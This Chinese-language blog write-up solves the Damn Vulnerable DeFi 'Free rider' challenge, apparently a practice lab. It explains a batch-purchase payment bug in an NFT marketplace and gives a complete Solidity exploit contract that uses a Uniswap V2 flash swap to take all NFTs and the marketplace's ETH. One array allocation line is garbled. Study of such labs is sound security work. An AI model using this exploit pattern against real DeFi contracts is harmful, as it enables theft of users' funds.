Damn Vulnerable DeFi 挑战记录 #10 - Free rider

Challenge #10 - Free rider

A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You want to build some rep with this buyer, so you've agreed with the plan.

Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.

ERC721 文档

IERC721.sol

IERC721Receiver.sol

UniSwap V2 文档


目标: 取走交易所中的6个NFT发给雇主,获得45ETH酬金

    after(async function () {
        /** SUCCESS CONDITIONS */

        // Attacker must have earned all ETH from the payout
        expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(BUYER_PAYOUT);
        expect(await ethers.provider.getBalance(this.buyerContract.address)).to.be.eq("0");

        // The buyer extracts all NFTs from its associated contract
        for (let tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
            await this.nft
                .connect(buyer)
                .transferFrom(this.buyerContract.address, buyer.address, tokenId);
            expect(await this.nft.ownerOf(tokenId)).to.be.eq(buyer.address);
        }

        // Exchange must have lost NFTs and ETH
        expect(await this.marketplace.amountOfOffers()).to.be.eq("0");
        expect(await ethers.provider.getBalance(this.marketplace.address)).to.be.lt(
            MARKETPLACE_INITIAL_ETH_BALANCE,
        );
    });

代码解析:

free-rider.challenge.js

  • 攻击者获得初始0.5 ETH

  • 部署Uniswap V2, 注入15000 DVT token : 9000 WETH

  • 部署FreeRiderNFTMarketplace NFT市场合约并创建6个DVNFT,转入90 ETH

  • 将所有NFT授权给NFT市场

  • 每个NFT定价15 ETH

  • 部署FreeRiderBuyer 雇主合约


FreeRiderBuyer.sol 雇主合约, 继承自IERC721Receiver

onERC721Received ERC721回退函数

        ......        
        received++;
        if(received == 6) {            
            payable(partner).sendValue(JOB_PAYOUT);
        }            
        ......
  • 收到6个NFT后, 雇主向攻击者支付45 ETH酬金


FreeRiderNFTMarketplace.sol NFT市场合约

constructor 构造函数, 创建DVNFT合约并mint出6个至交易所 offerMany NFT挂单函数, 通过循环调用_offerOne 完成批量挂单

  • check 挂单价大于0

  • check 挂单发起者为NFT拥有者

  • check NFT已approve授权给NFT市场

  • 挂单价格存入offers[tokenId] 映射中

  • amountOfOffers 挂单数自增

buyMany NFT购买函数,通过循环调用_buyOne 批量购买

    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; i++) {
            _buyOne(tokenIds[i]);
        }
    }

    function _buyOne(uint256 tokenId) private {       
        uint256 priceToPay = offers[tokenId];
        require(priceToPay > 0, "Token is not being offered");

        require(msg.value >= priceToPay, "Amount paid is not enough");

        amountOfOffers--;

        // transfer from seller to buyer
        token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller
        payable(token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }    
  • check 支付价格大于0

  • check msg.value 大于等于支付价格

  • 每次购买后, 挂单数自减

  • 转移NFT至购买者

  • 向卖家支付ETH


漏洞:

require(msg.value >= priceToPay, "Amount paid is not enough");
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
  • buyMany 购买函数循环中, 仅检查msg.value 满足大于单轮NFT的价格, 即可通过所有批量购买

  • 向卖家付款发生在转移NFT之后, 因此payable(token.ownerOf(tokenId)).sendValue(priceToPay); 将从合约向购买者付款

攻击思路:

  • UniSwap V2 发起 Flash Swaps 闪电贷借出15 ETH以满足购买单个NFT

  • 在闪电贷回退函数中购买6个NFT, msg.value 传入15 ETH, 执行完成后将得到6个NFT和来自NFT市场的90 ETH

  • 转移6个NFT至雇主合约, 触发ERC721回退函数收到45 ETH佣金

  • 计算还款金额并还款完成闪电贷

  • 转移ETH 至攻击者合约

代码示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IUniswapV2Pair {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
}

interface IUniswapV2Callee {
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

interface IFreeRiderNFTMarketplace {
    function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external;

    function buyMany(uint256[] calldata tokenIds) external payable;

    function token() external returns (IERC721);
}

interface IWETH {
    function transfer(address recipient, uint256 amount) external returns (bool);

    function deposit() external payable;

    function withdraw(uint256 amount) external;
}

interface IERC721 {
    function setApprovalForAll(address operator, bool approved) external;

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
    address freeRiderBuyer;
    address immutable attacker;
    IUniswapV2Pair immutable uniswapPair;
    IFreeRiderNFTMarketplace immutable nftMarketplace;
    IWETH immutable weth;
    IERC721 immutable nft;

    constructor(
        IUniswapV2Pair _uniswapPair,
        IFreeRiderNFTMarketplace _nftMarketplace,
        IWETH _weth,
        address _freeRiderBuyer
    ) {
        attacker = msg.sender;
        uniswapPair = _uniswapPair;
        nftMarketplace = _nftMarketplace;
        weth = _weth;
        nft = _nftMarketplace.token();
        freeRiderBuyer = _freeRiderBuyer;
    }

    // 发起flash swap闪电贷
    function attack() external {
        uniswapPair.swap(15 ether, 0, address(this), hex"00");
    }

    // 闪电贷回退函数
    function uniswapV2Call(
        address,
        uint256,
        uint256,
        bytes calldata
    ) external override {
        weth.withdraw(15 ether);

        // 用15 ETH 购买6个NFT
        uint256[] memory tokenIds = new uint256Unsupported embed;
        for (uint256 i = 0; i < 6; i++) {
            tokenIds[i] = i;
        }

        nftMarketplace.buyMany{ value: 15 ether }(tokenIds);

        // 将NFT发送给雇主
        for (uint8 tokenId = 0; tokenId < 6; tokenId++) {
            nft.safeTransferFrom(address(this), freeRiderBuyer, tokenId);
        }

        // 计算闪电贷手续费
        uint256 fee = ((15 ether * 3) / uint256(997)) + 1;
        weth.deposit{ value: 15 ether + fee }();
        weth.transfer(address(uniswapPair), 15 ether + fee);

        // 转移ETH至攻击者地址
        payable(address(attacker)).transfer(address(this).balance);
    }

    receive() external payable {}

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}
    it("Exploit", async function () {
        /** CODE YOUR EXPLOIT HERE */
        const AttackFactory = await ethers.getContractFactory("FreeRiderAttack", attacker);
        const exploit = await AttackFactory.deploy(
            this.uniswapPair.address,
            this.marketplace.address,
            this.weth.address,
            this.buyerContract.address,
        );
        await exploit.attack();
    });

运行通过

❯ yarn run free-rider
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/free-rider/free-rider.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/free-rider/free-rider.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully


  [Challenge] Free Rider
    ✓ Exploit (337ms)


  1 passing (4s)

Done in 6.39s.

Twitter: @0xRunstar